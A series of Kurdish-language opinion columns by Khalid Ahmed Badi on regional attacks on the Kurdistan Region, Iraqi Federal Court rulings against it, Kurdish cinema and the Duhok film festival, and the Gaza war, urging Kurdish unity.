هه‌ڤ دا و ببنه‌ خودان ئێك هه‌لوه‌ست و بریار.

خالد ئه‌حمه‌د بادى
مانشێتێ هه‌ر گوتاره‌كێ ده‌ڕبرینێ ژ رامان و ناڤ و بۆیه‌ر پرسگرێكێ دكه‌ت و گوتارا مه‌ و مانشێتێ وێ ده‌ڕبرینێ ژ وێ چه‌ندى دا دكه‌ت كو نه‌ ب تنێ ئیراقێ بلندبینى لسه‌ر كه‌ركووك و هه‌رێمێ هه‌نه‌، به‌لكو وه‌لاتێن هه‌رێمى ژى بلندبینى د ئیراق و هه‌رێم و كه‌ركووكێ دا هه‌یه‌ و بارۆڤه‌یێن ب ترس وسه‌هم یێن به‌رب كه‌ركووك و هه‌رێم و ئیراقێ ڤه‌ دهێین, ئه‌ڤان بابه‌تان ده‌م و جه دڤێن كو مرۆڤ لسه‌ر بنڤێسیت كو چ فه‌رهه‌نگ و ئینسكلۆپیدیا ژى تێرا ناكه‌ن، لێ چه‌ندین بشێین دێ هه‌ر لسه‌ر ڤان پرسان نڤێسین, هه‌ر دكه‌ڤندا و دێرین زه‌مان دا كه‌ركووك یا كوردان بوویه‌ و نه‌تنێ كه‌ركووك، لێ به‌لێ كوردان میرنشین و میرگه‌ه و ئیمپراتۆریه‌ت هه‌بووینه‌ و حوكمرانیه‌ت یا ل زۆر ملله‌ت و وه‌لاتان كرى, لێ نوكه‌ و ل ڤى سه‌رده‌مى پرسیار دهێته‌كرن بۆچى چ بۆ كوردان نه‌ما؟ نزانین ژبه‌ر باشى و دلساخى و جوامێرینى یا كوردایه‌ یان هنده‌ك ئه‌گه‌رێن دى هه‌بن, زۆر داڤ یێن دهێنه‌ ڤه‌دان و زۆر خه‌فك و ته‌پكێن ب ترس یێن دهێنه‌ڤه‌دان ل سه‌ر و ل دۆر هه‌رێما كوردستانێ و وه‌لاتێن هه‌رێمى لسه‌ر كوردان هه‌ڤرا و هه‌ڤ بۆچوونن، لێ به‌لێ هه‌مى وه‌لاتێن هه‌رێمى ل گه‌ل هه‌ڤدو دوژمنن، لێ لسه‌ر كوردان هه‌مى ئێك هزر و بیر باوه‌رن, نوكه‌ مینا شلخا مێشا هنگڤینى وه‌لاتێن هه‌رێمى و زلهێز و به‌رژه‌وه‌ندخواز یێن تێكدچن و تێك دهیێن و پێكڤه‌ یێن كاردكه‌ن ژبۆ بده‌ستڤه‌ئینانا كه‌ركووكێ و نه‌هێلانا قه‌وارێ هه‌رێمێ و یێن كوردان. ل ئیراقێ كونترۆل كه‌فتیه‌ د ده‌ستێ شیعه‌یان دا و لسه‌ر پرسێن سیاسى و كه‌ركووكێ وه‌كى خوى كونترۆلێ خوى بكاردئینن و ئیرانێ دڤێت پێگه‌هێ خوه‌ بهێز بكه‌ت ل ده‌ڤه‌را رۆژهه‌لاتا ناڤین، هه‌روه‌سا ل سووریا و ئیراقێ, سه‌رۆكێ توركیا ئه‌ردوغان هنده‌ك سه‌ره‌دانان دكه‌ت و به‌رى ماوه‌كێ كێم ئه‌ردوغانى سه‌ره‌دانا ئیراقێ و هه‌رێم و سووریێ و رۆسیا ژى كر, هه‌روه‌سا ئه‌ردوغانى وه‌زیرێ خوه‌ ده‌رڤه‌ هاكان فیدان فرێكره‌ ته‌هران ل ئیرانێ, بزاڤه‌كا نه‌ئارام و نه‌راسته‌وخوه‌ یا دهێته‌كرن و ترس دیاریه‌كا دى دا كو ل دژى كوردان بهێته‌كرن و مه‌سه‌له‌ نه‌ پارتى و یه‌نه‌ك و لایه‌نێن دینه‌، به‌لكو پرسێن مه‌زنتر هاتینه‌كرن و یێن دهێنه‌كرن. به‌رهنگارى و هایی ژخوه‌بوونا كوردان ب زۆر رێیانه‌، لێ رێیا ژ هه‌میان باشتر و جوانتر ئه‌وه‌ كو كورد ب لایه‌ن و ب رێكخراو و داموده‌زگه‌ه و هه‌می تاكان ڤه‌ كو ئێك بگرن و ئێكگرتن كلیلا هه‌مى ده‌رگه‌هایه‌.

خالد ئه‌حمه‌د بادى
بشكا (1)
كه‌ربوكین و به‌رژه‌وه‌ندیێن تایبه‌ت یێن به‌رامبه‌ر و پێ ل دانانا یاسا و رێنمایێن ناڤده‌وله‌تى و هه‌رێمایه‌تى و ژبیركرنا تیتالێن هه‌ڤسویاتیێ و ژ پشتگوه هاڤێتنا ئایه‌ت و قه‌ول و ئیساح و گوتنێن په‌رتوكێن پیرۆز و نه‌رێزگرتن و نه‌وژدان و خوه‌سه‌پاندنا لسه‌ر یێ دى و بكارئینانا هێزێ به‌رامبه‌ر هه‌لگرێن په‌یاما ئاشتى و پێكڤه‌ژیانێ و نه‌ ماف و مه‌رج و هتد.. ئه‌ڤه‌ هه‌مى و ب سه‌دان گۆتنێن دى دشیێن بێژین ل دۆر بابه‌تێ گرێدایى په‌یوه‌ندیێن توركیا و ئیران و ده‌وله‌تێن هه‌رێمى دگه‌ل هه‌رێما كوردستانێ كو نه‌حه‌قى و نه‌سنجى و بێ ره‌وشتى لده‌ڤ وه‌لاتێن هه‌رێمى گه‌هشتیه‌ وى راده‌یى كو بهانه‌یێن بێ بنه‌ما و بهانه‌یێن بێ بهانه‌ و گۆتنێن بێ هه‌لوه‌ست رۆژانه‌ به‌رامبه‌ر هه‌رێما كوردستانێ دهێنه‌ ئه‌نجامدان و كرن, ژ لایێ ده‌وله‌تێن هه‌رێمى ڤه‌ به‌رامبه‌ر هه‌رێمێ، كو لدویڤ حه‌ز و زه‌وق و ڤیانا خوه‌ رۆژانه‌ هێرش به‌رامبه‌ر وه‌لاتیێن هه‌رێما كوردستانێ دهیێنه‌كرن ب درێژاهییا سنوورێ هه‌رێما كوردستانێ و ب هه‌ر رێكه‌كا بیت هێزێ بكاردئینن بۆ یێ به‌رامبه‌ر. ئه‌ڤ كریاره‌ بوویه‌ مینا دیارده‌كا كه‌شه‌فرێت ل ده‌ڤ وه‌لاتێن هه‌رێمى بو سه‌ر هه‌رێمێ و ژ هه‌مى عورف و تیتالان ده‌ركه‌فتیه‌ و ب هزاران زیان و زه‌ره‌ر گه‌هاندینه‌ هه‌رێمێ ژ ئالیێ سیاسى، دارایى، ئابۆرى، ئه‌وله‌كارى و ئاڤه‌دان و زانستى و جیۆپۆلوتیكى و جیۆگرافى هتد..كو ب هزاران گوندێن كوردستانێ هاتینه‌ چۆلكرن و به‌رده‌وام پرۆسه‌یێن ئاواره‌یێ درروست بووینه‌ و ب ملیۆنان دۆلاران زیانێن ماددى ب خه‌لكێ هه‌رێما كوردستانێ كه‌فتینه‌, ئه‌ڤ خالێن ل خوارێ دیار چه‌ند نموونه‌كێن كێمن كو هێرشێن رۆژانه‌ دكه‌نه‌ سه‌ر هه‌رێمێ، به‌لكو بێژین سه‌ر ته‌ڤایا كوردان. ل رێككه‌فتى (13\11\2022 ) وه‌كى هه‌ر جار ده‌وله‌تا توركیا ب بهانه‌كا نوى كو له‌شكرێ توركیا ئۆپه‌راسیۆنه‌كا دى بناڤى (په‌نج) و (شێر) كریه‌ سه‌ر كوردستانا رۆژئاڤا و بتایبه‌ت ده‌ڤه‌رێن كۆبانى و حه‌له‌بێ و ده‌ڤه‌رێن دۆرماندۆر و زۆر زیانێن گیانى هه‌بوون، هه‌روه‌سا زیانێن ماددى یێن زۆر هه‌بوون, هه‌روه‌سا هه‌ر د وێ رۆژێ دا توركیا هێرش كریه‌ سه‌ر خاكا هه‌رێما كوردستانێ و بتایبه‌ت ل لایێ ده‌ڤه‌را سیده‌كان و ب درێژاهییا سنوورى و هه‌روه‌سا د ناڤ كویراتیا سنوورێ هه‌رێما كوردستانێ دا, د ڤان ئۆپه‌راسیۆن و هێرشێن له‌شكرى و ئاسمانى یێن هێزێن توركیا بكارئینانا (70) حه‌فتێ فرۆكه‌یێن شه‌ڕكه‌ر توركیا د ڤێ ئۆپه‌راسیۆنێ دا بكارئیناینه‌ و ژوان فرۆكه‌یان (50) پێنجى فرۆكه‌یێن ئیف 16 و (20) بیست فرۆكه‌یێن بێ فرۆكه‌ڤان ئانكو درۆن. ئه‌ڤه‌ هه‌مى بهانه‌ و هیجه‌تن كو توركیا دده‌ته‌ به‌ر رویێ خوه‌ و دبێژیت كو به‌رى چه‌ند ده‌مه‌كى ته‌قینه‌ك ل ته‌قسیما باژارێ ئیسته‌نبۆلێ چێ ببوو و توركیا دبێژیت كو ئه‌ڤ ته‌قینه‌ ژلایێ په‌كه‌كێ ڤه‌ هاتیه‌ ئه‌نجامدان.
بشكا (2)
ئه‌رێ گه‌لۆ ما چ په‌یوه‌ندییا كوردستانێ پێڤه‌ یه‌ ما توركیا تو بۆچى ناچییه‌ جهێ رویدان لێ په‌یدابوویى ما هێجه‌ت و بهانه‌ ب شاخن, هه‌ر دیسا به‌رى ماوه‌یه‌كى ئیرانێ ژى ب درۆن و مۆشه‌ك و تۆپ و فرۆكه‌یان هێرش كریه‌ سه‌ر خاكا هه‌رێما كوردستانێ و ئه‌و ژى ب بهانا هه‌بوونا باره‌گایێن پارتێن كوردێن كوردستانا رۆژهه‌لات. ل ڤێره‌ بۆ هه‌ر لایه‌نه‌كى رۆهن و ئاشكه‌را بوویه‌ كو حوكمه‌تا ئیراقێ په‌یوه‌ندى ب بێ ده‌نگى و چاڤخشاندنا هێرشێن هه‌ردو ده‌وله‌تێن توركیا و ئیرانێ و پیلانێن سووریێ ڤه‌ هه‌یه‌ و تانوكه‌ چ هه‌لوه‌ستێن ژدل ئیراقێ وه‌رنه‌گرتینه‌ به‌رامبه‌ر ده‌وله‌تا توركیا و ئیران و سووریێ به‌روڤاژى كو ده‌وله‌تا ئیراقێ پێرابوونێن قانوونى وه‌رگریت دژى وان وه‌لاتێن كو زۆرداریێ دكه‌ن و سنوورێن هه‌رێما كوردستانێ دبه‌زینن به‌رامبه‌ر ڤێ چه‌ندێ حوكمه‌تا ئیراقێ پتر په‌یوه‌ندیێن خوه‌ یێن سیاسى و بازرگانى و دبلۆماسى ل گه‌ل توركیا و ئیرانێ و سووریێ موكومتر لێ دكه‌ت و بهێز دئێخیت، ژبلى كو رۆژانه‌، به‌لكو به‌رده‌وام هێرشێن تۆپ و فرۆكه‌ و مۆشه‌ك و ئۆپه‌راسیۆنێن ده‌وله‌تێن هه‌رێمى بۆ سه‌ر هه‌رێمێ و ب تایبه‌ت ل ده‌ڤه‌رێن سنوورى یێن قه‌زا ئامێدیێ و سه‌رپه‌رشتیا ئیداره‌یا زاخۆ. په‌یاما من بۆ ملله‌تێ كورد و رایه‌دار و ره‌وشه‌نبیر و سیاسه‌تمه‌دار و زانا و چالاكڤان و دیرۆك نفێس پارت و لایه‌نێن كوردى و حوكمه‌تا هه‌رێما كوردستانێ كو سیناریۆیا ئاشكه‌رایه‌ و بلا خوه‌ نه‌خاپینین كو ئه‌ڤا ب سه‌رێ ملله‌تێ كورد دهێت، ئه‌م ب خوه‌ ئه‌گه‌رین، چونكو ئه‌گه‌ر ئه‌م دئێكگرتى بین و به‌رژه‌وه‌ندێن خوه‌ بپارێزین ئانكو به‌رژه‌وه‌ندیێن بلندێن ملله‌تێ كورد بپارێزین و جوداهیێ ل ناڤبه‌را باكور و باشور و رۆژهه‌لات و رۆژئاڤا نه‌هێته‌ كرن و حه‌ژ هه‌ڤدو بكه‌ین، بێگومان دوژمنێن مه‌ ژى یێن هه‌رێمى و یێن بیانى نه‌ دشیان ڤێ مامه‌لێ به‌رامبه‌رى مه‌ بكه‌ن و وانان خالا لاوازا مه‌ یا زانى كو ئه‌م نه‌ دهه‌ڤگرتینه‌، له‌وما هێرش و پیلان لسه‌ر مه‌ دزۆرن كو رۆژانه‌ بومبه‌باران و هێرش و ته‌پبارانكرن و هێرشێن له‌شكرى كو لڤێ دوماهیێ هێرش پتر ژێده‌ بووینه‌ و ئه‌ڤێن خودانێن ئه‌ردى ل هه‌مى پارچان گۆره‌پانێن سیاسى و یێن شه‌ڕى ڤالا هێلاینه‌ و ب حه‌ز و ڤیانا خوه‌ دوژمن یێن سیاسه‌تا خوه‌ ددارێژن و یێن پرۆژێن ئابۆرى و سیاسى و نه‌ته‌وه‌یى دروست دكه‌ن (تتریك، تعریب و تفریس)، دوژمنان كوردستان ئانكو هه‌رێما كوردستانێ كریه‌ ئارمانج و ئه‌و چریسكا ب قوربانیدانا ملله‌تێ كورد و رویبارین خوینا پاكا لاوین كورد و هزاران شه‌هید و فیداكاریان نوكه‌ دوژمنان نه‌ڤێت ئه‌ڤ چریسكه‌ ژى یا هه‌ل بیت و یێ خوینا كوردان ب ده‌ستێن كوردان دده‌نه‌ رێشتن. ل ڤێره‌ هه‌رده‌م هزره‌ك دمێشكێ مه‌دا دلڤلڤیت و پرسیار دكه‌ت كو لسه‌رده‌مێن به‌رێ دا ئه‌گه‌ر ل ئیراقێ ملله‌تێ كورد دوژمنه‌ك و نه‌یاره‌ك و نه‌حه‌زه‌ك هه‌بایه‌ لێ نوكه‌ ب ده‌هان دوژمن و نه‌حه‌ز و نه‌یار ل تركیا و سوریا و ئیران و ئیراقێ په‌یدا بوینه‌ دژى ملله‌تێ كورد. ل ڤێره‌ هزر و پرسیار دلڤلڤن و بلا درویشمێن بریقه‌دار نه‌ بێژم ئه‌رێ ئه‌و هێزێن گۆره‌پانا خوه‌ یاسیاسى و له‌شكرى و ئابۆرى بۆ دوژمنان ڤالا بكه‌ن و دهێن داگیركرن و مایتێكرنێ دكه‌ن ل هه‌رێما كوردستانێ كو هه‌رێما مه‌ چ رامان دده‌ت و بلا پرسیار بۆ هه‌وه‌ بیت. له‌وما مه‌ ناڤێ گوتارا خوكره‌ هێرشێن هه‌رێمى لسه‌ر هه‌رێمێ و دێ پریارێ بۆ خوینده‌ڤانێن هێژا هێلین.

خالد ئه‌حمه‌د بادى
ئه‌گه‌ر پێداچوونه‌كێ د ناڤه‌رۆكا فه‌رهه‌نگا هونه‌ر و سینه‌مایا جیهانى دا بكه‌ین و هێدى هێدى لاپه‌رێن فه‌رهه‌نگێ ڤه‌ده‌ین بێگومان، دێ دیار بیت كو چ دیمه‌نێن به‌رچاڤ، هه‌روه‌سا نڤێسینێن شایسته‌ لسه‌ر كوردان نینن و ئه‌گه‌ر هه‌بن ژى دكێمن، دوژمنان د به‌رژه‌وه‌ندیا خوه‌ دا تۆماركرینه‌ و هه‌رده‌م دوژمنان شانازیێن (امجادێن) ملله‌تێ كورد بۆ خوه‌ بكارئیناینه‌ و دزینه‌ و كورد جه‌رد كرینه‌ ژ هه‌ر تشته‌كى. ل ناڤ شۆرشێ دا و ب تایبه‌ت شۆرشێن ئه‌یلولا مه‌زن و گولانا پێشكه‌فتنخواز كارێن هونه‌رى و كارێن ئه‌كته‌ریێ دهاتنه‌ ئه‌نجامدان، لێ ژبه‌ر نه‌بوونا ده‌زگه‌ و ئامیرێن تایبه‌ت و یێن كارێ سینه‌ما و هونه‌رى چ كار و چالاكى نه‌هاتیه‌ تۆماركرن و دیكیۆمێنتكرن, پشتى كو حوكمه‌تا ئیراقێ ئه‌نفالێن ره‌شتارى ب سه‌رێ ملله‌تێ كورد دا ئیناین لسالا (1988) و یاكو ب سه‌دان هزاران دیمه‌نێن ره‌شتارى ب سه‌ر ملله‌تێ كورد دا ئیناین ژ ئه‌نفال و جینۆساید و ئاواره‌بوون و چه‌كێ كێمیاوى و بومبه‌بارانكرن ب بومبێن ناپالم و عنقودى و چه‌كێ كیمیاوى ژ خه‌رده‌ل و سیانید و بومبێن ژه‌هراوى وكورد نه‌چاربوون به‌ر ب وه‌لاتێن سنوورى ڤه‌ چوون ول كه‌مپێن دیاربه‌كر و مۆش و چادرگه‌ها مێردینێ ڤه‌ چوون و ل وه‌لاتێ توركیا و بۆ ده‌میێ چه‌ندین سالێن ره‌به‌ق و پڕ ئازار و ئێش ئاكنجی بوون. ل ناڤا كه‌مپان بنه‌جه بوون و دا و ئه‌گه‌ر باسێ ملله‌تى كورد بكه‌ین بێگومان دێ بینین كو ملله‌تێ كورد د هه‌مى واران دا پێشه‌نگ و شاره‌زابوینه‌ و ل ناڤا كه‌مپان دا ئیداره‌كا راست و دروستكر و قوتابخانه‌ ڤه‌كرن و كاروبارێن هونه‌رى و مللى و ئه‌كته‌رى و شانۆگه‌رى دكرن، هه‌روه‌سا سیتێچ و شانۆ دروستكرن ب ته‌لیسان و ب داروئاخێ وكارێ هونه‌رى لسه‌ر دكر و نه‌هامه‌ت و ده‌رده‌سه‌ى و زولم و سته‌ما ب سه‌رێ كوردان هاتى ژ لایێ دوژمنان ڤه‌ بۆ خه‌لكه‌كى و جڤاك و ملله‌تێن دى ددا نیاسین و ته‌رجومه‌كرن، چونكى سینه‌ما و شانۆ و ئه‌كته‌رى زمانێ هه‌مى ملله‌ت و گه‌لانه‌ و زمانێ ب تنێ یه‌ كو جیهان هه‌مى پێ دهه‌ڤدو دگه‌هن, زۆر تیپێن هونه‌رى یێن ستران و مۆزیكێ، هه‌روه‌سا یێن هونه‌رى هاتنه‌ دروستكرن و شانۆگه‌رى و كارێ هونه‌رى و سینه‌ما و شانۆیێ دكر و سه‌ركه‌فتنێن مه‌زن ب ده‌ستڤه‌دئینان. ل باژێرێ پاتان كو چادرگه‌ها مێردینێ بوو و ل ده‌مێ ئاواره‌یێ كارێن هونه‌رى یێن نموونه‌ دهاتنه‌ ئه‌نجامدان. ئه‌گه‌ر ئه‌و داستان و دیرۆك و چیرۆكێن راسته‌قینه‌ و سه‌ركه‌فتن و داهێنان و پێشكه‌فتنێن ملله‌تێ كورد ب ده‌ستڤه‌ئینایین د هه‌مى قۆناغێن دیرۆكێ دا، ناهێته‌ هژمارتن و ئه‌گه‌ر ده‌رفه‌ت دابا كوردان دا هه‌مى كار و كریار و بۆیه‌ر و دیرۆك هێنه‌ دكیۆمێنتكرن و تۆماركرن و ب هزاران فلم و سیناریۆ و خه‌له‌ك و زنجیره‌ و شانۆگه‌رى ژێ دروست بن و دا ملله‌تێ كورد ب زه‌نگینترین ملله‌ت ژ ئالیێ سینه‌ما و هونه‌رى ڤه‌ هێنه‌ هژمارتن. نوكه‌ ئێك ژ رۆژێن حوكمه‌تا هه‌رێما كوردستانێ كو ب سوپاسى ڤه‌ باس لێ دكه‌ین كو ئه‌وژى فلمه‌ فه‌سته‌ڤالا ل دهۆكێ یه‌ كو باشترین كاره‌ و نوكه‌ فلمه‌ فه‌ستیڤالا دهۆك گه‌ڕا (10) یا ل دهۆك دهێته‌ گێران كو بۆ ماوه‌یێ ده‌ه سالایه‌ فه‌سته‌ڤالا فلمان یا دهێته‌ گێران و سه‌ركه‌فتنێن باش بده‌ستڤه‌ ئیناینه‌ و ئۆمێده‌وارین د به‌رده‌وامبوونێ دا بیت دا كو پتر وێنه‌یێ راسته‌قینه‌ یێ هه‌رێما كوردستانێ و دیرۆك و كه‌لتۆر و هونه‌رێ كورد بۆ ته‌ڤایا جیهانێ ڤه‌گوهێزن و بده‌نه‌ نیاسین.

خالد ئه‌حمد بادى
گه‌ر ئه‌م ل مانشێتێ گوتارا خوه‌ بزڤرین و هزركرنه‌كا كویر د دادگه‌ها ناڤبرى دا بكه‌ین و ئه‌و مانشێتێ مه‌ نڤێسى؛ دێ هزركه‌ى كو مه‌ ب شاشى مانشێت یێ نڤێسایى، چونكو د سیسته‌م و قانوون و نڤێسارێن فه‌رمى و هه‌مى ناڤه‌ند و رێنمایى و كاروبارێن ده‌وله‌تا ئیراقى دا ناڤێ دادگه‌هێ دادگه‌ها فیدرالى یه‌ كو دادگه‌هه‌كا ده‌وله‌ت و كۆمارا ئیراقا فیدرالى یه‌, لێ ئه‌گه‌ر مه‌ كێمه‌كێ ژى ل ده‌نگوباسان نێریبیت یان ژى گوه ل ده‌نگوباسان كربیت، بێگومان ئیك خال یان په‌یڤ یان دادگه‌ه یان هه‌ر پێنگاڤه‌ك دژى چ عه‌ره‌بێن شیعه‌ نه‌هاڤێتى یه‌ یان چ حوكم دژى عه‌ره‌بێن شیعه‌ نه‌هاڤێتى یه‌ ب تنێ دژى كوردان كار دكه‌ت وحوكمان دده‌ت. زۆر بریارێن ل دژى كوردان و هه‌رێما كوردستانێ دادگه‌ها فیدرالى یێن ده‌ركرین، ژ وان بریاران دادگه‌ها فیدرالى ل دژى باده‌كا نه‌فتا هه‌رێما كوردستانێ, هه‌روه‌سا بریار دژى كۆمسیۆنا هه‌لبژارتنێن كوردستانێ, هه‌روه‌سا بریارا دادگه‌ها فیدرالى دژى بودجا هه‌ریما كوردستانێ وهه‌ر دیسان دژى مووچه‌یێن فه‌رمانبه‌رێن سڤیل و بێ گونه‌هێن هه‌رێما كوردستانێ, دیسا بریارێن دادگه‌ها فیدرالى یا ئیراقى دژى كه‌ركووكێ و كوردایه‌تى یا كه‌ركووكێ، هه‌روه‌سا دژى هه‌مى به‌رژه‌وه‌ندیێن هه‌رێما كوردستانێ و حوكمه‌تا وێ كو هه‌ر تشته‌ك یان پرسه‌ك یان به‌ژه‌وه‌ندیه‌ك بۆ گه‌ل و وه‌لاتى و ملله‌تێن هه‌رێما كوردستانێ دادگه‌ها فیدرالى بریاره‌كێ دژى وان دده‌ت. دوماهیك بریارا ددادگه‌ها شیعى كو بناڤێ دادگه‌ها فیدراله‌ ئه‌و ژى بریارا لادانا سه‌روكێ په‌رله‌مانێ ئیراقێ بوو كو ئه‌و ژى لادانا محه‌مه‌د حه‌لبۆسى بوو ژ پۆستێ سه‌رۆكاتیا په‌رله‌مانێ ئیراقا فیدرال, ل ڤێره‌ ئه‌م باسێ چ قانوون و خال و سیسته‌مان ناكه‌ین، لێ زۆر یا ئاشكه‌را یه‌ كو ب تنێ دادگه‌ها فیدرالى ل دژى هه‌رێما كوردستانێ و ملله‌تێ كورد یێ جوامێر بریاران دده‌ت ئه‌گه‌ر نه‌ بلا ب تنێ بریاره‌كێ ل دژى شیعه‌یان بده‌ت یان دژى لایه‌نه‌كێ شیعى بده‌ت, پرسیارا مه‌ ئه‌وه‌ ئه‌رێ گه‌لۆ ما چ جاران چ كه‌س و پارت و لایه‌نێن شیعى چ شاشیان ناكه‌ن چ كێماسییان ناكه‌ن ما بتنێ كورد وهه‌رێما كوردستانێ شاشییان دكه‌ن. وێنه‌یێ سیاسى یێ ئیراقێ وێ چه‌ندێ دیاردكه‌ت كو چ كۆنترۆل لسه‌ر چ داموده‌زگه‌هان نینه‌ وب تنێ هنده‌ك وه‌لاتێن هه‌رێمى و ده‌ره‌كى بریارێ دده‌ت و دادگه‌ها فیدرالى جێبه‌جێ دكه‌ت و مخابن ده‌ستكارى د هه‌مى كاران دا هاتیه‌كرن، لێ زۆرا خرابه‌ كو ده‌ستكارى و مایتێكرن د دادگه‌هان ژى دا بهێته‌كرن و هه‌ر ده‌مێ مایتێكرن د دادگه‌هان دا هاته‌كرن، بێگومان ئه‌و وه‌لات دێ به‌ر ب نه‌هاله‌كا كویر و چاره‌نڤێسه‌كێ خراب و شاش ڤه‌ چیت, چونكى لسه‌ر سه‌رێ هۆلێن هه‌مى دادگه‌هان ل جیهانێ ب خه‌ته‌كێ مه‌زن و دیار نڤیسى یه‌ ( واژا حكمتكم بین الناس ان تحكموا بالعدل) .

خالد ئه‌حمه‌د بادى

رۆژهه‌لاتا ناڤه‌راست زورترین باهۆزێن چه‌په‌لێن فێلباز یێن به‌ر ب رۆژهه‌لاتا ناڤین ڤه‌ دهێن، بێهنا فێلبازیێن نه‌مرۆڤانه‌ ژێ دهیێن و دیمه‌نێن كه‌شه‌فرێتێن خیانه‌ت و به‌رژه‌وه‌ندخوازیێ د دیار و به‌رچاڤن د ناڤا وان بابه‌لیسكان دا, كۆم و كه‌سانێن چاڤبرسى یێن كێبركێ دكه‌ن لسه‌ر بده‌ستڤه‌ئینانا ده‌ستكه‌فت و سه‌ركه‌فتنان لسه‌ر گه‌لێن هه‌ژار وبه‌له‌نگاز وسڤیل و هه‌ر دیسا دوژمنكاریكرنا وان گه‌لێن ناڤبرى دكه‌ن, د ڤان قۆناغێن هه‌ستیار دا ل ته‌ڤایا جیهانێ و ب تایبه‌ت ل وه‌لاتێن ئیراق، سووریا، لبنان، یه‌مه‌ن، فه‌له‌ستین، ئیسرائیل، توركیا، ئیران، پاكستان و ئه‌ڤغانستان..هتد. ب تایبه‌ت ل هه‌رێما كوردستانێ ژى ره‌وش ئالۆزه‌ و كریارا سیاسى ب باشى برێڤه‌ناچیت وكریارێن بازرگانى و ئابۆرى له‌نگى كه‌ڤتیه‌ تێدا و كریار و ره‌وشێن نه‌باوه‌رى فالنجێ گرتیه‌ و ئه‌گه‌رێن سه‌ره‌كى كو ئه‌قلیه‌ته‌كا شۆفینى و ئه‌قلیه‌تا هنده‌ك سه‌ركرده‌ و كاربده‌ست و خودان بریار بده‌ست و هنده‌ك به‌رژه‌وه‌ندیخواز و بازرگانێن جه‌نگان ل ده‌ڤه‌را رۆژهه‌لاتا ناڤه‌راست په‌یره‌وه‌ و جێ به‌جێ دكه‌ن و وان دڤێت كۆنترۆلا گشتى و بریڤه‌برنا كاران بكه‌نه‌ د ده‌ستێن خوه‌ دا و هه‌ر ده‌مێ پرسه‌ك و پرسگرێكه‌ك بدوماهیك دهێت و دچیت هه‌ر زوى پرسگرێكه‌كا دى ئاماده‌ دكه‌ن ل دویڤ به‌رنامه‌كێ دارێتى و پلانه‌كا پێشوه‌خت. ئێك ژ وان پرسێن مه‌ ل سه‌رى باس كرین شه‌ڕێ حه‌ماس و ئیسرائیل ل غه‌ززه‌ ل فه‌له‌ستینێ یه‌, نێزیكه‌ ئه‌ڤ شه‌ڕه‌ چوو د هه‌یڤا دووێ دا كو لایه‌نێن ژ سه‌ر رێ دا چووین ل فه‌له‌ستینێ كو پلاك وكۆنترۆلا وان د ده‌ستێن هنده‌ك وه‌لاتێن نێزیك دایه‌ وكه‌فتینه‌ ل بن هنده‌ك ئه‌جیندایێن هه‌رێمى و ناڤده‌وله‌تى دا و حه‌ماسێ چریسكا ئاگرێ جه‌نگى هه‌لكر و تا نوكه‌ یێ به‌رده‌وامه‌ وب هزاران كوشتى و بریندار ژ هه‌ردو لایان هه‌نه‌ و ب ملیۆنان و سه‌دان هزاران ئاواره‌بووینه‌ و خه‌لكێ غه‌ززه‌ مایه‌ تێهنى و برسى و بێ ده‌رمان وبێ پێدڤیێن ژیانێ یێن رۆژانه‌یه‌. ترس د وێ چه‌ندێ دایه‌ كو سیناریۆیا مینا یا ل ئیراقێ و ئه‌مریكا په‌یدا ببیت و بزڤریته‌ڤه‌ و هه‌ڤكێشیا ل ناڤبه‌را وه‌لاتێن زلهێز بهیته‌كرن و ئه‌وا ل ئیراقێ رویدایی بزڤریته‌ ڤه‌ و ل دوماهیكێ هه‌ردو گه‌لێن (جوهى) یێن فه‌له‌ستینى ببنه‌ قوربانى حه‌ماس و ئه‌مریكا و ئیران و رۆسیا و ئیسرائیلێ و وان وه‌لات و ملله‌تێن به‌رژه‌وه‌ندیێن وانان ل ده‌ڤه‌را رۆژهه‌لاتا ناڤه‌راست و ل دوماهیا هه‌مى شه‌ران ژى هه‌ر پێكهاتنه‌.